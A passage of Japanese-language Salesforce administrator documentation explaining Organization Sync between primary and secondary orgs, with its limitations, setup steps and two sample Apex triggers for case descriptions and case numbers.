連リストが表示されます。

関連トピック:

外部オブジェクトリレーション
カスタム項目の作成
カスタム項目のデータ型の変更
Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項
グローバル検索での Files Connect データソースの追加
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Salesforce と Heroku 間のデータの同期
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Heroku Connect では、Salesforce と Heroku Postgres 間でデータを同期できます。
Heroku Postgres で Heroku Connect を使用すると、Ruby、Node.js、Python、PHP、Java、
Scala、Clojure などの言語や、Rails、Django、Play などの Web フレームワークを使用
して Salesforce データを操作する Heroku アプリケーションを作成できます。詳細
は、Heroku 開発センター Web サイトにある Heroku Connect の Web サイトお
よび「Heroku Connect のドキュメント」を参照してください。

セカンダリ Salesforce 組織との同期
エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期では、プライマリ組織のダウンタイムまたはメンテナンス中にユーザ
がアクセスできる、同期済みのセカンダリ Salesforce 組織を設定できます。

組織同期
Salesforce では、ダウンタイム中やメンテナンス中であっても、ユーザが各自
のデータに即刻アクセスする必要のあることを認識しています。組織同期を
使用して、同期した状態のセカンダリSalesforce組織を設定すれば、プライマ
リ組織がダウンタイム中またはメンテナンス中でもユーザがビジネスに欠か
せないプロセスやデータを処理できます。
組織同期の設定に関する考慮事項
組織同期の設定を開始する前に、次の重要な情報を確認します。自動採番項目、Apex トリガ、監査項目、
およびその他の Salesforce 機能の現在の使用方法によって、実装へのアプローチが決まります。
組織同期環境の設定
組織同期のシステム管理者は、プライマリおよびセカンダリ Salesforce 組織を管理する必要があります。こ
れらの組織にはそれぞれ異なるシステム管理者用のユーザ名とパスワードがあります。セカンダリ組織に
データを追加する前に、いくつかの設定タスクを実行し、2 つの組織間の複製接続を作成する必要がありま
す。
組織同期ユーザ環境の定義
組織同期のユーザ転送、ログイン、およびデータに関連するオプションと制限事項について理解します。
組織同期でのオブジェクトの公開および登録
プライマリ組織とセカンダリ組織が組織同期接続で接続されたら、レコードの挿入、更新、削除を組織間
で送信する公開および登録プロセスを実行します。
一括同期の実行
一括同期は、オブジェクト種別が公開および登録されている新規レコードのコピーをトリガし、そのレコー
ドを両方の組織で使用できるようにします。一括同期はレコードを一方向にコピーするため、プライマリ
組織で一括同期を実行すると、新規レコードがセカンダリ組織にコピーされます。
組織同期の管理
組織同期環境の健全度を追跡します。
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組織同期

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

複製接続を設定する
• 「接続の管理」

Salesforce では、ダウンタイム中やメンテナンス中であっても、ユーザが各自の
データに即刻アクセスする必要のあることを認識しています。組織同期を使用
して、同期した状態のセカンダリ Salesforce 組織を設定すれば、プライマリ組織
がダウンタイム中またはメンテナンス中でもユーザがビジネスに欠かせないプ
ロセスやデータを処理できます。
組織同期は、ユーザが常時 Salesforce にアクセスする必要のある企業に最も適し
ています。たとえば、年中無休のコールセンターの担当者が、メンテナンス期
間中も最小限の中断で顧客に対応できます。
組織同期では Salesforce to Salesforce のフレームワークを使用します。これは、顧
客がレコードをSalesforceを使用する他の企業と共有できるようにする機能です。
組織同期を設定するには、Salesforce システム管理者が同一のメタデータを有す
るセカンダリSalesforce組織を設定し、プライマリ組織とセカンダリ組織間にデー
タ複製接続を作成します。公開および登録プロセスを使用して不可欠なオブジェ
クトや項目をセカンダリ組織に対応付け、セカンダリ組織にコピーできるデー
タの種類を指定します。この後、同期された状態のレコードがセカンダリ組織
にコピーされます。
プライマリ組織がメンテナンスにより停止中になると、メンテナンスが終了するまでユーザがセカンダリ組織
にリダイレクトされます。ユーザが 1 つの組織で実行するすべてのアクション (ケースの作成、添付ファイル
の削除など) が、自動的に別の組織に適用されます。また、システム管理者はプライマリ組織の更新が必要な
場合にもユーザをリダイレクトできます。

組織同期の構造と設定についての詳細情報が必要ですか。こちらの短い動画 「 組織の同期のしくみ」が役
に立ちます。

関連トピック:

組織同期の設定に関する考慮事項
公開可能なオブジェクト

組織同期の設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期の設定を開始する前に、次の重要な情報を確認します。自動採番項目、
Apex トリガ、監査項目、およびその他の Salesforce 機能の現在の使用方法によっ
て、実装へのアプローチが決まります。

組織同期の制限事項
組織同期の制限事項について説明します。
フィードと監査項目の同期
接続レコードのフィードと監査項目を同期すると、セカンダリ組織で作業中
のユーザがすばやく簡単にレコードの履歴を評価できます。
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トリガの設定
プライマリ Salesforce 組織に Apex トリガを設定している場合、組織同期でトリガが自動的にセカンダリ組織
に複製されることはありません。これは、両方の組織でトリガを有効にすることに意味がない可能性があ
るためです。ただし、両方の組織のニーズを満たすようにプライマリ組織のトリガを適応させることはで
きます。
自動採番項目の設定
ケース番号などの自動生成番号が含まれる項目は組織同期では同期されませんが、プライマリ組織とセカ
ンダリ組織でユーザ環境の一貫性を保つ回避策を作成できます。
同期方法の選択
組織同期は、プライマリ組織とセカンダリ組織間の直接の双方向同期をサポートするように設計されてい
ますが、一方向同期もサポートされています。公開および登録プロセスを開始する前に、どちらの方法が
ビジネスニーズに適合するかを判断します。

組織同期の制限事項

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期の制限事項について説明します。
組織上の制限事項

• 組織同期を使用するには、セカンダリ Salesforce 組織とそれに伴うユーザ
ライセンスを購入する必要があります。

• プライマリ組織とセカンダリ組織は、同じ組織種別 (本番や Sandbox など)

とエディションである必要があります。
• 整合性のない動作を避けるため、両方の組織に同じ制限と設定を適用す

る必要があります。プライマリ組織の制限が調整された場合、Salesforceに
連絡してセカンダリ組織に同じ変更を適用するように依頼してください。

• 重複の検出エラーを避けるため、セカンダリ組織では重複管理を無効に
することをお勧めします。

• 組織同期は 3 つ以上の組織で動作するようにも設定できますが、2 つの組織設定をサポートすることを
意図して設計されています。

サポート対象外の項目
• 自動採番項目は同期されませんが、回避策を実装できます。詳細は、「自動採番項目の設定」を参照し

てください。
• フィードと監査項目を同期するオプションを有効にした場合、監査項目は自動的に同期されるため、公

開可能な項目のリストには表示されません。監査項目はレコードが、ある組織から別の組織にコピーさ
れたときにのみ同期されます (一括同期中など)。同期されたレコード上の監査項目が更新されても、そ
の更新はリンクされた組織には反映されません。

• リッチテキストエリア (RTA) 項目は同期されません。
• 数式項目と積み上げ集計項目は、その値が他の項目値によって決まるため、公開できません。回避策と

して、数式項目または積み上げ集計項目の入力項目を公開します。次に、セカンダリ組織に同一の数式
項目または積み上げ集計項目を作成し、その入力項目を参照して値を計算します。
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• 未公開オブジェクトへの参照項目は、公開すると同期エラーが発生する可能性があるため、自動的に公
開されません。たとえば、取引先責任者オブジェクトの項目に取引先へのルックアップが含まれてい
て、取引先オブジェクトがまだ公開されていない場合、その項目は手動でしか公開できません。

• 地理位置情報項目などのコールアウト項目は同期されません。
サポート対象外のオブジェクトおよび機能

• 組織同期では特定のオブジェクトのみを公開できます。そのリストについては「公開可能なオブジェク
ト」を参照してください。

• 特定の種類のメタデータはサポートされていません。そのリストについては「同期されるメタデータ
型」を参照してください。

• サポートされているメタデータは、プライマリ組織からセカンダリ組織への一方向にのみ同期されま
す。

• LiveAgent、Salesforce ナレッジ、ポータル、コミュニティはサポートされていません。
• 管理パッケージは同期されません。必要に応じて、両方の組織にパッケージをインストールして、ユー

ザ環境の一貫性を保つことができます。
• 2 GB を超える Chatter ファイル投稿は同期されません。
• Chatter のトピック、グループ、いいね! は同期されません。
• 同期された Chatter 投稿では、ユーザメンションはクリックできません。
• Chatter ファイルバージョンはサポートされていません。

自動化およびデータ構造
• 複数のレベルがあるマルチレベルルックアップは、一括同期中のみ同期されます。
• Apex トリガ、プロセス、ワークフローは、ある組織から別の組織にコピーされません。これは、自動化

が重複すると更新のループまたはエラーにつながる可能性があるためです。既存のトリガ、プロセス、
ワークフローをセカンダリ組織に適応させる必要がある場合があります。

同期の制限事項
• ユーザは、プライマリ組織からセカンダリ組織への一方向にのみ同期されます。詳細は、「組織同期で

のユーザデータの管理」を参照してください。
• 一括同期では、最後に作成または変更されたのが一括同期日の 1 年前より後であるレコードのみをコ

ピーできます。
• 2 つの組織間で接続を確立する前にセカンダリ組織にレコードが含まれていた場合、セカンダリ組織の

それらの既存のレコードはプライマリ組織の一致するレコードには自動接続されません。この場合、重
複管理が有効になっていれば、両方の組織にすでに存在する一括同期エンティティにより重複アラート
が発生します。

• Salesforceでは、一部のオブジェクトと項目で双方向同期を使用し、他のオブジェクトで一方向同期を使
用することはお勧めできません。
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フィードと監査項目の同期

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

接続レコードのフィードと監査項目を同期すると、セカンダリ組織で作業中の
ユーザがすばやく簡単にレコードの履歴を評価できます。
Salesforce のレコードとフィード投稿には、次の 4 つの監査項目があります。
• CreatedBy

• CreatedDate

• LastModifiedBy

• LastModifiedDate

監査項目を同期することを選択する場合、監査項目はレコードが、ある組織か
ら別の組織にコピーされたときにのみ同期される (一括同期中など) ことに留意
してください。同期されたレコード上の監査項目が更新されても、その更新は
リンクされた組織には反映されません。可能な限り一貫性のあるユーザ環境を提供するために、監査項目を同
期することをお勧めします。
フィードおよび監査項目を同期するには、接続の招待を送信するときに [フィードと監査項目を同期]オプショ
ンを選択します。双方向同期を使用している場合、このオプションを選択すると、両方向で監査項目が同期さ
れます。このオプションは、組織同期接続の詳細ページから編集することもできます。

重要:

• 接続の招待を送信するときに [フィードと監査項目を同期]チェックボックスが表示されない場合は、
Salesforce システム管理者が組織で監査項目の作成を有効にする必要があります。この設定を有効にす
るには、[設定] から、[クイック検索] ボックスに[ユーザインターフェース]と入力し、[ユーザインター
フェース] をクリックします。次に、[「レコードの作成時に監査項目を設定」および「無効な所有者の
レコードを更新」ユーザ権限を有効化] を選択します。

• このユーザインターフェース設定を有効にすると、ユーザは Salesforce の監査項目も手動で編集できる
ようになります。監査項目の手動編集が禁止されている場合は、組織同期でフィードと監査項目を同
期できないことがあります。この場合でもセカンダリ組織でレコードのフィード追跡を設定できます
が、フィードにはセカンダリ組織で行われた更新のみが表示されます。

トリガの設定

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

プライマリ Salesforce 組織に Apex トリガを設定している場合、組織同期でトリガ
が自動的にセカンダリ組織に複製されることはありません。これは、両方の組
織でトリガを有効にすることに意味がない可能性があるためです。ただし、両
方の組織のニーズを満たすようにプライマリ組織のトリガを適応させることは
できます。
現在のトリガを組織同期で使用できるようにするには、[接続種別] 項目と [複
製ロール]項目を参照します。これらの項目は、[接続] ページの列として表示さ
れます。[接続種別] は接続が標準接続と複製 (組織同期) 接続のいずれであるか
を示し、[複製ロール] は組織がプライマリ組織とセカンダリ組織のいずれであ
るかを示します。
すべてのトリガは、公開および登録プロセスを開始する前に設定する必要があります。セカンダリ組織でのト
リガ関連の動作を決定する必要があります。次に、考えられるいくつかの方法を示します。
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• 既存のトリガを両方の組織で動作させるには、セカンダリ組織で同一のトリガを設定します。
• セカンダリ組織で既存のトリガが不要な場合は、そのままにします。トリガはプライマリ組織で機能し続

けます。
• 各組織で異なる動作にする場合は、両方の組織を参照するトリガを設定します。

例: 次のトリガは、すべてのケースの説明をプライマリ組織では「Case in Primary」(プライマリのケース)、
セカンダリ組織では「Case in Secondary」(セカンダリのケース) に変更します。
trigger CaseTrigger_UpdateDesc on Case (before insert, before update) {
boolean isPrimary = true;
for (PartnerNetworkConnection conn : [select ReplicationRole from

PartnerNetworkConnection where ConnectionType = 'Replication' and ConnectionStatus =
'Accepted']) {

if (conn.ReplicationRole == 'Secondary') {
isPrimary = false;

}
}

for (Case c : Trigger.new) {
if (isPrimary) {
c.Description = 'Case in Primary';

} else {
c.Description = 'Case in Secondary';

}
}

}
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自動採番項目の設定

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

公開オブジェクトに項目
を追加する
• 「接続の管理」

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

ケース番号などの自動生成番号が含まれる項目は組織同期では同期されません
が、プライマリ組織とセカンダリ組織でユーザ環境の一貫性を保つ回避策を作
成できます。
プライマリ組織のケースがセカンダリ組織にコピーされると、Salesforce ではそ
のケースを新規ケースとみなし、新しいケース番号を割り当てます。ただし、
両方の組織でケースに同じ識別番号を表示できるカスタム項目を設定すること
ができます。これにより、どちらの組織で作業している場合でも、エージェン
トはケースを番号によってすばやく見つけることができます。次の例は [ケース
番号] 項目に関連しますが、Salesforce のすべての自動生成番号項目に同じ方法を
使用できます。

重要: 会社ですでにケース番号を表すカスタム項目を使用している場合、
この手順を完了する必要はありません。

組織同期でケース番号を設定する手順は、次のとおりです。
1. プライマリ組織で、「[会社名] Case Number」(「[会社名] ケース番号」) という

名前のカスタムテキスト項目を作成します。
2. ケースのページレイアウトを更新します。

a. 作成したカスタムケース番号項目を追加します。
b. システムで生成されたケース番号項目を削除するか非表示にします。

3. システムで生成されたケース番号をカスタムケース番号項目にコピーするト
リガを適用します。ただし、このトリガは (コピーされたケースではなく) 既
存のケースまたは新規作成されたケースでのみ実行されるようにします。こ
れにより、複製中に割り当てられる「正しくない」ケース番号がカスタム
ケース番号項目にコピーされることを防ぎます。次のトリガを使用します。
trigger UpdateCaseNumber on Case (after insert) {
List<Case> cases = new List<Case>();
for (Case c : Trigger.new) {
if (c.CustomCaseNumber__c == null) {
Case caseToUpdate = new Case(Id=c.Id);
caseToUpdate.CustomCaseNumber__c = c.CaseNumber;
cases.add(caseToUpdate);

}
}
database.update(cases);

}

4. セカンダリ組織で前の手順を繰り返します。
5. セカンダリ組織で、自動割り当てケース番号が「2-」で始まるようにケース番号の表示設定を調整します。

これにより、システムで割り当てられたケース番号が既存のプライマリ組織のケース番号と一致しなくな
ります。この設定を変更する手順は、次のとおりです。
a. ケースのオブジェクト管理設定から項目領域に移動します。
b. [ケース番号] 項目の横にある [編集] をクリックします。
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c. [表示形式] 項目に「2-{00000000}」と入力します。
d. [保存] をクリックします。

メモ: 最良の結果を得るには、オブジェクトと項目を公開および登録する前に上記手順を完了します。こ
れにより、その他のビジネスに欠かせないオブジェクトや項目と同時に、作成したカスタム項目を公開
および登録できます。すでに公開および登録プロセスが完了している場合、カスタムケース番号項目を
公開および登録して両方の組織に表示されるようにする必要があります。

同期方法の選択

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期は、プライマリ組織とセカンダリ組織間の直接の双方向同期をサポー
トするように設計されていますが、一方向同期もサポートされています。公開
および登録プロセスを開始する前に、どちらの方法がビジネスニーズに適合す
るかを判断します。
ユーザがプライマリ組織とセカンダリ組織の両方でトランザクションを実行で
きるようにし、それらのトランザクションを両方の環境に反映させる場合は、
双方向同期を使用します。ただし、セカンダリ組織をプライマリ組織のデータ
への最新の参照としてのみ使用する場合、簡易化された一方向同期を使用でき
ます。次の表に、それぞれの方法の詳細を示します。

重要: Salesforceでは、一部のオブジェクトと項目で双方向同期を使用し、他
のオブジェクトで一方向同期を使用することはお勧めできません。また、
組織同期は 3 つ以上の組織で動作するようにも設定できますが、2 つの組織
設定をサポートすることを意図して設計されています。

一方向同期双方向同期 (標準)詳細

オブジェクトや項目はプライマリ組織から公開
され、セカンダリ組織で登録されます。そのオ

オブジェクトや項目はプライマリ組織から
公開され、セカンダリ組織で登録されます。

しくみ

ブジェクト種別が公開されているレコードはセ
カンダリ組織にコピーされます。

次に、同じ公開および登録プロセスが逆方
向 (セカンダリ組織からプライマリ組織) で
繰り返されて同期が設定されます。そのオ 同期されたレコードに対してプライマリ組織で

行われた更新は、自動的にセカンダリ組織に適ブジェクト種別が公開されているレコード
はセカンダリ組織にコピーされます。 用されますが、逆の場合は適用されません。し

たがって、セカンダリ組織は主にプライマリ組同期されたレコードに対していずれかの組
織で行われた更新は、自動的にもう一方の 織を使用できないときにユーザの参照として使

用されます。組織に適用されます。「更新」には、レコー
ドの作成、更新、削除、復元が含まれます。

考慮事項 • ユーザがセカンダリ組織で更新を行った場
合、プライマリ組織での作業に戻ったとき
にその更新を繰り返す必要があります。

• セカンダリ組織で行われた更新はプライ
マリ組織に適用されるため、セカンダリ
組織のデータがプライマリ組織のデータ
で上書きされないように、組織同期の設 • 同期されたレコードがセカンダリ組織で復

元されると、プライマリ組織との接続は切定時に参照関係を確認する必要がありま
す。
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一方向同期双方向同期 (標準)詳細

断されます。接続を復元するには、レコー
ドをプライマリ組織からセカンダリ組織に
手動で転送する必要があります。

• プライマリ組織に設定されたトリガ、
ワークフロー、Apex コードは、データの
ループを避けるためにセカンダリ組織で
変更または無効化する必要があります。 • プライマリ組織に設定されたトリガ、ワー

クフロー、Apex コードは、その影響を受け
るオブジェクトが公開および登録されてい
る場合はセカンダリ組織でも実装できます。

組織同期環境の設定
組織同期のシステム管理者は、プライマリおよびセカンダリ Salesforce 組織を管理する必要があります。これら
の組織にはそれぞれ異なるシステム管理者用のユーザ名とパスワードがあります。セカンダリ組織にデータを
追加する前に、いくつかの設定タスクを実行し、2 つの組織間の複製接続を作成する必要があります。

重要: ブラウザは Salesforce ログイン情報をキャッシュするため、1 つのブラウザで 2 つの異なる Salesforce

組織にログインすることは困難です。最良の結果を得るには、2 つのブラウザで作業します。各組織に 1

つのブラウザを指定します。たとえば、Google Chrome© を使用してプライマリ組織にアクセスし、Mozilla

Firefox© を使用してセカンダリ組織にアクセスします。

1. Salesforce to Salesforce の有効化
組織同期では Salesforce to Salesforce のフレームワークを使用するため、プライマリ組織とセカンダリ組織の
両方で Salesforce to Salesforce を有効化する必要があります。次に、[接続] タブを追加して接続を管理できるよ
うにします。

2. メタデータの複製
一部 (全部ではない) のメタデータは組織同期で同期できます。2 つの組織間でデータが正しく同期されるよ
うに、セカンダリ組織のメタデータをカスタマイズして維持する必要があります。

3. 接続先の取引先責任者の作成
組織同期接続を設定するには、自分自身をセカンダリ組織の接続先の取引先責任者として割り当てる必要
があります。これにより、セカンダリ組織に関するメールを受信し、2 つの組織を簡単に管理できます。

4. 組織の接続
組織同期のプライマリ組織とセカンダリ組織を設定したら、プライマリ組織とセカンダリ組織間の接続を
設定します。この接続により、組織間で更新を送信できます。

5. 接続詳細ページの探索: ウォークスルー
組織同期接続のハブとなる接続詳細ページのツアーを始めましょう。接続を監視し、設定を更新する方法
を学習します。
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Salesforce to Salesforce の有効化

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

Salesforce to Salesforce 複
製接続を作成する
• 「接続の管理」

組織同期では Salesforce to Salesforce のフレームワークを使用するため、プライマ
リ組織とセカンダリ組織の両方で Salesforce to Salesforce を有効化する必要があり
ます。次に、[接続] タブを追加して接続を管理できるようにします。
プライマリ組織とセカンダリ組織の両方で、次の手順を実行します。
1. Salesforce to Salesforce を有効にします。

a. [設定] から、[クイック検索] ボックスに「Salesforce to Salesforce

設定」と入力し、[Salesforce to Salesforce 設定] を選択します。
b. Salesforce to Salesforce ページで、[編集] をクリックします。
c. [有効化] を選択します。
d. [保存] をクリックします。

2. ユーザインターフェースに [接続] タブを追加します。
a. 現在のタブの右側に表示される [プラス] アイコンをクリックします。[す

べてのタブ] ページが表示されます。
b. [タブのカスタマイズ] をクリックします。
c. [追加] 矢印を使用して、[接続] タブを [選択可能なタブ] リストから [選択されたタブ] リストに移動しま

す。必要に応じて、[上へ] と [下へ] 矢印を使用してタブの順序を変更します。
d. [保存] をクリックします。

メタデータの複製

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

一部 (全部ではない) のメタデータは組織同期で同期できます。2 つの組織間で
データが正しく同期されるように、セカンダリ組織のメタデータをカスタマイ
ズして維持する必要があります。
メタデータとは?

Salesforce 組織がカスタマイズされるたびに、そのメタデータは変更されま
す。たとえば、ページレイアウトの編集、カスタム項目の作成、レコードタ
イプの作成のいずれでもメタデータが更新されます。データとは、電話番号
や名前など、項目に含まれる情報です。セカンダリ組織のメタデータは、プ
ライマリ組織のメタデータと一致する必要があります。一致しない場合、組
織同期を効果的に実装できない可能性があります。

プライマリ組織とセカンダリ組織間でメタデータの同期を維持する方法は?

1. 組織同期接続を作成する前に、次の作業を行います。
a. データが正しく同期されるように、プライマリ組織で基本的なデータクリーンアップを実行します。

プライマリ組織に次の問題がないか確認し、問題がある場合は解決します。
• 空白の必須項目 (項目が Optional から Required に変更された場合に発生する可能性がありま

す)

• 無効な参照関係
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• 重複レコード

b. セカンダリ組織のメタデータをプライマリ組織のメタデータと一致するようにカスタマイズします。
接続の招待を送信するときに [メタデータを同期] チェックボックスをオンにすることで、一部のメ
タデータを自動的に同期するように選択できます。サポート対象のメタデータ一覧は、「同期され
るメタデータ型」を参照してください。ただし、プライマリ組織に、サポートされない種類のメタ
データを含むカスタマイズが行われている場合、セカンダリ組織でも同じカスタマイズやリリース
を実行する必要があります。

2. 組織が接続された後、一方の組織で行われたメタデータの更新のすべてがもう一方の組織でも繰り返さ
れるようにビジネスプロセスを作成します。[メタデータを同期]チェックボックスがオンの場合、一部
の更新はすでに同期されています。

メタデータの同期のタイミング
メタデータを同期するオプションを選択した場合、組織同期接続の招待を受諾するとすぐに Salesforce によっ
て、セカンダリ組織へのサポート対象メタデータのコピーが開始されます。このプロセスの間、接続の詳
細ページの [接続状況] 項目には Metadata Sync in Progress と表示されます。
この最初のメタデータのコピーの後、サポート対象メタデータへの更新は毎日同期されます。すべてのサ
ポート対象メタデータの同期をすぐにトリガする必要がある場合、次の手順を実行します。
1. プライマリ組織の組織同期接続の詳細ページに移動します。
2. [接続の詳細] セクションで、[編集] をクリックします。
3. [メタデータを同期] チェックボックスをオフにします。[保存] をクリックします。
4. [接続の詳細] セクションで、[編集] を再度クリックします。
5. [メタデータを同期] チェックボックスをオンにします。[保存] をクリックします。

メタデータの同期を維持するためのベストプラクティスは?

• メタデータの同期を選択する場合、次のベストプラクティスに従います。
– 一方の組織のメタデータを削除する必要がある場合は、もう一方の組織でも削除します。これは、

組織間でメタデータの削除は同期されないためです。
– サポート対象外のメタデータを作成または更新する必要がある場合は、両方の組織でその作業を実

行します。
– サポート対象のメタデータを作成または更新する必要がある場合は、プライマリ組織でのみ実行し

ます。サポート対象メタデータは毎日プライマリ組織からセカンダリ組織に同期されるため、サポー
トされる種類のメタデータをセカンダリ組織で変更しても、毎日の同期で上書きされます。

– メタデータを最新の状態に保ち、潜在的な同期エラーを回避するには、上記のようにすぐに同期を
トリガする場合を除き、[メタデータを同期]チェックボックスをオンのままにしてください。接続の
招待が承諾された後でこのチェックボックスをオフにすると、メタデータの更新の自動同期が一時
停止します。チェックボックスを編集できるのは、プライマリ組織のみです。

• [メタデータを同期]チェックボックスをオフのままにした場合、メタデータへのすべての変更 (メタデー
タの作成、削除、更新) を両方の組織で繰り返します。

組織同期でのインテグレーションと API のしくみは?

業務にとってインテグレーションが緊急を要すると判断した場合 (外部 Web フォームなど)、ユーザがセカ
ンダリ組織にリダイレクトされるたびにインテグレーションをセカンダリ組織にリダイレクトする必要が
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あります。これは API コールの場合も同様です。すべての緊急を要する Salesforce への API コールは、セカン
ダリ組織のログイン情報を含めるように変更する必要があります。変更しない場合、セカンダリ組織への
切り替え中に処理が停止します。

接続先の取引先責任者の作成

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先責任者を作成する
• 取引先責任者に対する

「作成」

取引先責任者を参照する
• 取引先責任者に対する

「参照」

組織同期接続を設定するには、自分自身をセカンダリ組織の接続先の取引先責
任者として割り当てる必要があります。これにより、セカンダリ組織に関する
メールを受信し、2 つの組織を簡単に管理できます。
[接続] ページでは、プライマリ組織は [接続所有者] 項目のユーザによって管理
され、セカンダリ組織は [取引先責任者]として割り当てたユーザによって管理
されます。
1. プライマリ組織で、取引先責任者を作成します。

a. [取引先責任者] タブに移動します。
b. [新規] をクリックします。
c. [名] および [姓] 項目に、セカンダリ組織の取引先責任者として自分を

識別するテキストで名前を入力します。たとえば、名前がElise Medinaの場
合、「Elise Medina (セカンダリ)」と入力します。

d. [取引先名]項目で、ルックアップを使用して会社の取引先を選択します。
e. [メール] 項目で、自分のメールアドレスを入力します。

重要: これは、接続に関するメールを確実に受信するための重要なス
テップです。

f. [保存] をクリックします。

組織の接続

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

Salesforce to Salesforce 複
製接続を作成する
• 「接続の管理」

組織同期のプライマリ組織とセカンダリ組織を設定したら、プライマリ組織と
セカンダリ組織間の接続を設定します。この接続により、組織間で更新を送信
できます。
1. プライマリ組織で、[接続] タブに移動します。
2. [新規] をクリックします。
3. 接続の設定用に作成した取引先責任者名を選択します。[取引先]項目が自動

的に更新されて会社が表示されます。
4. [接続所有者] 項目で、接続の管理を割り当てたシステム管理者を選択しま

す。
5. [接続種別] 項目で、[複製] を選択します。
6. 必要に応じて、すべてのレコードのフィードと監査項目を同期するオプショ

ンを選択します (推奨)。
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メモ: このオプションが表示されない場合は、Salesforce に連絡し、組織で監査項目の作成を有効にす
るように依頼してください。

7. 必要に応じて、サポート対象メタデータを同期するオプションを選択します (推奨)。
8. 必要に応じて、ユーザを同期するオプションを選択します (推奨)。
9. [保存 & 招待を送信] をクリックします。
10. 受信箱の招待メールを確認して、接続を承認します。メール内のリンクをクリックして招待を受け入れる

と、Salesforce ログインページにリダイレクトされます。
11. セカンダリ組織のユーザ名とパスワードを使用してログインします。組織同期接続の詳細ページが表示さ

れます。[接続の詳細] セクションで、[承認] をクリックして接続を完了します。

ヒント: 接続詳細ページは、組織同期接続を中央管理するための拠点です。接続を確立したら、少し時間

を取って次の対話型ウォークスルーでこのページに慣れてください。 段階的な手順: 接続詳細ペー
ジを探索する。開始前に、[接続] タブを Salesforce 環境に追加してください。

関連トピック:

フィードと監査項目の同期
組織同期でのユーザデータの管理
同期方法の選択

同期されるメタデータ型

エディション

使用可能なエディション:
Salesforce Classic

組織同期を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

組織同期接続の接続詳細ページで [メタデータを同期] チェックボックスをオン
にしてメタデータを同期するように選択すると、特定の種類のメタデータへの
変更は毎日プライマリ組織からセカンダリ組織に同期されます。
サポート対象メタデータ

メタデータを同期するオプションが選択された場合、次の種類のメタデータ
の挿入 (新しいメタデータの追加) および更新 (既存のメタデータの変更) は、
一方向 (プライマリ組織からセカンダリ組織) で毎日同期されます。

例外サポート対象メタデータ

レポートは、組織同期では同期され
ません。Apex ページでレポートを参

Apex クラス、コンポーネント、ペー
ジ

照していて、メタデータを同期する
ように選択した場合、Apex ページを
正しく同期するには、次の操作を実
行する必要があります。
• セカンダリ組織に同じレポートを

作成する
• 新しいレポート ID を参照するよう

に Apex ページを更新する
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例外サポート対象メタデータ

カスタム項目

カスタムオブジェクト

外部オブジェクト

フィード項目レイアウトとレイアウトの Salesforce1

設定は同期されません。
レイアウト

権限セットのカスタムタブおよびアプリケーション
は同期されません。

権限セット

レコードタイプのないオブジェクトが組織同期で公
開および登録され、その後、そのオブジェクトのレ

レコードタイプ

コードタイプが作成された場合、そのレコードタイ
プをセカンダリ組織に表示するには、オブジェクト
を再公開する必要があります。

ロール

ユーザプロファイルのカスタムタブおよびアプリ
ケーションは同期されません。

ユーザプロファイル

サポート対象外のメタデータ
サポート対象メタデータへの次の操作は同期されません。
• セカンダリ組織でのメタデータの追加および更新
• いずれかの組織でのメタデータの削除

たとえば、プライマリ組織のユーザが権限セットを作成または更新すると、その変更が 24 時間以内にセカン
ダリ組織に適用されます。ただし、セカンダリ組織で権限セットを更新しても、更新内容はプライマリ組織に
送信されず、セカンダリ組織での更新は次回の同期で上書きされます。

警告: サポート対象メタデータの名称変更 (カスタム項目の名称変更など) によって、各組織内でそのメタ
データへの参照が無効になる場合があります。エラーを回避するには、メタデータの名称変更が必要な
場合、当該のメタデータをコピーし、コピーに変更後の名前を付けます。ロール、プロファイル、権限
セットなどの最上位メタデータは通常の方法で名称変更でき、名前の変更内容も期待どおりに同期され
ます。

関連トピック:

メタデータの複製
組織同期でのユーザデータの管理

6467

セカンダリ Salesforce 組織との同期コードではなくてクリックによる Salesforce の拡張



接続詳細ページの探索: ウォークスルー

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複製接続を作成する
• 「接続の管理」

ウォークスルーを完了す
る
• 既存の Salesforce to

Salesforce 複製接続

および

タブリストに追加され
た [接続] タブ

組織同期接続のハブとなる接続詳細ページのツアーを始めましょう。接続を監
視し、設定を更新する方法を学習します。
ようこそ、組織同期のシステム管理者の皆さん!

これは、組織同期接続のハブとなる接続詳細ページのツアーです。接続詳細ペー
ジでは、接続を監視し、設定を更新できます。

